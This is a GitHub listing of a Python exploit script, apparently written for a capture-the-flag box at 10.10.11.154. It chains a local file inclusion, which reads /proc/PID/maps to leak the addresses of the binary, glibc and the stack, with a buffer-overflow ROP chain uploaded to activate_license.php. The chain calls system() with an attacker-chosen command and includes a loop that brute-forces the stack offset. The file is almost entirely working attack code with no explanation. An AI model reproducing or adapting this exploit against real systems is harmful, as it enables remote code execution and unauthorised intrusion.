-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathfirst_exploit.py
executable file
·70 lines (49 loc) · 1.94 KB
/
first_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
import re
import requests
import struct
import signal
import sys
import time
ip = '10.10.11.154'
p64 = lambda n: struct.pack('<Q', n)
signal.signal(signal.SIGINT, lambda *_: print('\n[!] Exiting...') or exit(1))
def get_addresses(pid):
r = requests.get(f'http://{ip}/index.php?page=/proc/{pid}/maps', allow_redirects=False)
elf_base_addr = re.findall(r'(.*?)\-.*?/usr/bin/activate_license', r.text)[0]
glibc_base_addr = re.findall(r'(.*?)\-.*?/usr/lib/x86_64-linux-gnu/libc-2.31.so', r.text)[0]
stack_addr = re.findall(r'(.*?)\-.*?\[stack\]', r.text)[0]
return int(elf_base_addr, 16), int(glibc_base_addr, 16), int(stack_addr, 16)
def craft_payload(pid, cmd, stack_offset):
elf_address, glibc_address, stack_address = get_addresses(pid)
pop_rdi_ret = elf_address + 0x0181b
system = glibc_address + 0x48e50
padding = b' ' * 200
cmd = padding + cmd.encode() + b'\0'
offset = 520
junk = b'A' * offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(stack_address + stack_offset)
payload += p64(system)
payload += cmd
return {'licensefile': ('tmp_name', payload)}
def main():
if len(sys.argv) != 3 and len(sys.argv) != 4:
print(f'[!] Usage: python3 {sys.argv[0]} <PID> <cmd> [stack offset (hex)]')
return
pid, cmd = sys.argv[1], sys.argv[2]
if len(sys.argv) == 4:
stack_offset = int(sys.argv[3], 16)
requests.post(f'http://{ip}/activate_license.php',
files=craft_payload(pid, cmd, stack_offset))
print('[+] Sent payload. Check listener')
return
print('[+] Starting brute force on stack offset')
for stack_offset in range(0x21000, 0, -128):
print(f'[*] Stack offset: {hex(stack_offset)}')
time.sleep(1)
requests.post(f'http://{ip}/activate_license.php',
files=craft_payload(pid, cmd, stack_offset))
if __name__ == '__main__':
main()